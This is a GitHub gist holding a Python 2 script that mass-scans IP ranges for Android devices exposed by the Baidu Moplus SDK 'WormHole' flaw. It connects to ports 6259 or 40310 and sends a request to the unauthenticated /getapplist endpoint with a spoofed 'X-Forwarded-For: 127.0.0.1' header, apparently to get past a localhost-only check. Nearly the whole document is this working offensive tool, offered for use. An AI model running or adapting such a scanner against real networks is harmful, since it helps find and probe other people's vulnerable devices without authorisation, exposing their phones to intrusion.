Last active
November 5, 2015 08:31
-
-
Save darkr4y/71326e61f8bb2ea24656 to your computer and use it in GitHub Desktop.
simple baidu moplus sdk vuln aka wormhole scanner
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
''' | |
convert curl to py request - http://curl.trillworks.com/ | |
pip install ipaddr | |
pip install requests | |
''' | |
import requests | |
import sys | |
from ipaddr import IPv4Network | |
import socket | |
import time | |
import threading | |
import Queue | |
def scan(): | |
global screenLock | |
while True: | |
target_ip , port = scanQueue.get() | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.settimeout(2) | |
try: | |
sock.connect(( target_ip, int(port) )) | |
screenLock.acquire() | |
url = 'http://' + target_ip + ':' + str(port) + '/getapplist?mcmdf=inapp_&callback=m4bln_location_callback' | |
headers = {'X-Forwarded-For': '127.0.0.1'} | |
payload = requests.get(url ,timeout=5,headers=headers) | |
print "%s - port: %s , status: %s , payload_response: %s " % ( target_ip , port , True , payload.status_code ) | |
screenLock.release() | |
sock.close() | |
#except requests.exceptions.ReadTimeout as e: | |
#screenLock.acquire() | |
#print "[HTTPError]" , e | |
#screenLock.release() | |
#pass | |
except socket.error as e: | |
screenLock.acquire() | |
print target_ip,':',port, " - not vlun!" , "[Error] " , e | |
screenLock.release() | |
pass | |
scanQueue.task_done() | |
if __name__ == '__main__': | |
if len(sys.argv) != 3: | |
print "Usage: \n scan.py 192.168.1.0/24 6259 \n scan.py 192.168.1.0/24 40310" | |
sys.exit() | |
ip_range = sys.argv[1] | |
port = sys.argv[2] | |
start_time = time.time() | |
iplist = [] | |
net = IPv4Network(ip_range) | |
for host in net.iterhosts(): | |
single_ip = repr(host)[13:-2] | |
iplist.append(single_ip) | |
scanQueue = Queue.Queue() | |
screenLock = threading.Lock() | |
for i in range(20): | |
t = threading.Thread(target=scan) | |
t.setDaemon(True) | |
t.start() | |
for scanip in iplist: | |
#print scanip | |
scanQueue.put((scanip,port)) | |
try: | |
while True: | |
if scanQueue.empty() == False: | |
time.sleep(1) | |
else: | |
break | |
except KeyboardInterrupt: | |
print " - by DarkR4y ..." | |
sys.exit() | |
scanQueue.join() | |
end_time = time.time() | |
print "total time cost: %d s" % int(end_time - start_time) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment